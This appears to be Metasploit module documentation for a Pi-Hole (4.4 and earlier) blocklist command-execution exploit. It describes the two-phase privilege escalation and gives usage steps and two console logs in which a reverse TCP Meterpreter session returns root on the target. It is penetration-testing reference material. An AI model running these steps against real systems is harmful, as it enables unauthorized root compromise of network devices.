## Vulnerable Application

This exploits a command execution in Pi-Hole <= 4.4.  A new blocklist is added, and then an
update is forced (gravity) to pull in the blocklist content.  PHP content is then written
to a file within the webroot.

Phase 1 writes a sudo pihole command to launch teleporter, effectively running a priv esc.

Phase 2 writes our payload to `teleporter.php`, overwriting, the content.

Lastly, the phase 1 PHP file is called in the web root, which launches
our payload in `teleporter.php` with root privileges.

A more detailed writeup is available from the [original author](https://frichetten.com/blog/cve-2020-11108-pihole-rce/).

Due to encodings, a local web server is required to be running on port `80`.

Two blocklist is left within Pi-Hole and should be removed.

## Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: ```use exploit/unix/http/pihole_blocklist_exec```
  4. Do: ```set srvhost [IP]```
  5. Do: ```set rhost [IP]```
  6. Do: ```run```
  7. You should get a root shell.

## Options

### Password

Password for the web interface.  Randomly set on install.  Use `pihole -a -p` to change/remove it.

## Scenarios

### Pi-Hole 4.3.2 on Ubuntu 18.04

  ```
  [*] Processing pihole.rb for ERB directives.
  resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec
  resource (pihole.rb)> set payload php/meterpreter/reverse_tcp
  payload => php/meterpreter/reverse_tcp
  resource (pihole.rb)> set rhosts 2.2.2.2
  rhosts => 2.2.2.2
  resource (pihole.rb)> set lhost 1.1.1.1
  lhost => 1.1.1.1
  resource (pihole.rb)> set srvhost 1.1.1.1
  srvhost => 1.1.1.1
  resource (pihole.rb)> set srvport 80
  srvport => 80
  resource (pihole.rb)> set verbose true
  verbose => true
  resource (pihole.rb)> exploit
  [*] Exploit running as background job 0.
  [*] Exploit completed, but no session was created.
  
  [*] Started reverse TCP handler on 1.1.1.1:4444 
  msf exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.3.2
  [*] Using URL: http://1.1.1.1:80/
  [*] Using cookie: PHPSESSID=45abdcp4rsc9bpi9tchi88ejnn;
  [*] Using token: WzmrFbksWxIbtuSVeyrf8yv9o541UdhueLN+BRXfUmY=
  [*] Adding backdoor reference
  [*] Forcing gravity pull
  [*] (1/2) Sending priv esc trigger
  [*] Adding root reference
  [*] Forcing gravity pull
  [*] (2/2) Sending root payload
  [*] Popping root shell
  [*] Sending stage (38288 bytes) to 2.2.2.2
  [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:57982) at 2020-05-12 22:30:38 -0400
  [+] Deleted cdJWzln.php
  [*] Server stopped.
  
  msf exploit(unix/http/pihole_blocklist_exec) > sessions -1
  [*] Starting interaction with 1...
  
  meterpreter > getuid
  Server username: root (0)
  meterpreter > sysinfo
  Computer    : pihole
  OS          : Linux pihole 4.15.0-64-generic #73-Ubuntu SMP Thu Sep 12 13:16:13 UTC 2019 x86_64
  Meterpreter : php/linux
  ```

### Pi-Hole 4.4 on Ubuntu 18.04

  ```
  [*] Processing pihole.rb for ERB directives.
  resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec
  resource (pihole.rb)> set payload php/meterpreter/reverse_tcp
  payload => php/meterpreter/reverse_tcp
  resource (pihole.rb)> set rhosts 2.2.2.2
  rhosts => 2.2.2.2
  resource (pihole.rb)> set lhost 1.1.1.1
  lhost => 1.1.1.1
  resource (pihole.rb)> set srvhost 1.1.1.1
  srvhost => 1.1.1.1
  resource (pihole.rb)> set srvport 80
  srvport => 80
  resource (pihole.rb)> set verbose true
  verbose => true
  resource (pihole.rb)> exploit
  [*] Exploit running as background job 0.
  [*] Exploit completed, but no session was created.
  
  [*] Started reverse TCP handler on 1.1.1.1:4444 
  msf exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.4
  [*] Using URL: http://1.1.1.1:80/
  [*] Using cookie: PHPSESSID=uee4gcfsjk5m8289m4uk4rv1du;
  [*] Using token: uO4ha1e0fy+Qwvoq14XgslT3Z+VJ/h2RR3qyVT6dPz8=
  [*] Adding backdoor reference
  [*] Forcing gravity pull
  [*] Received GET request.  Responding
  [*] Sending 2nd gravity update request.
  [*] Forcing gravity pull
  [*] (1/2) Sending priv esc trigger
  [*] Adding root reference
  [*] Forcing gravity pull
  [*] Received GET request.  Responding
  [*] Sending 2nd gravity update request.
  [*] Forcing gravity pull
  [*] (2/2) Sending root payload
  [*] Popping root shell
  [*] Sending stage (38288 bytes) to 2.2.2.2
  [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:48636) at 2020-05-13 20:34:33 -0400
  [+] Deleted VRwxqyhs.php
  
  msf exploit(unix/http/pihole_blocklist_exec) > sessions -1
  [*] Starting interaction with 1...
  
  meterpreter > getuid
  Server username: root (0)
  meterpreter > sysinfo
  Computer    : pihole
  OS          : Linux pihole 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64
  Meterpreter : php/linux
  meterpreter > 
  [*] Blocklists must be removed manually from /admin/settings.php?tab=blocklists
  [*] Server stopped.
  ```
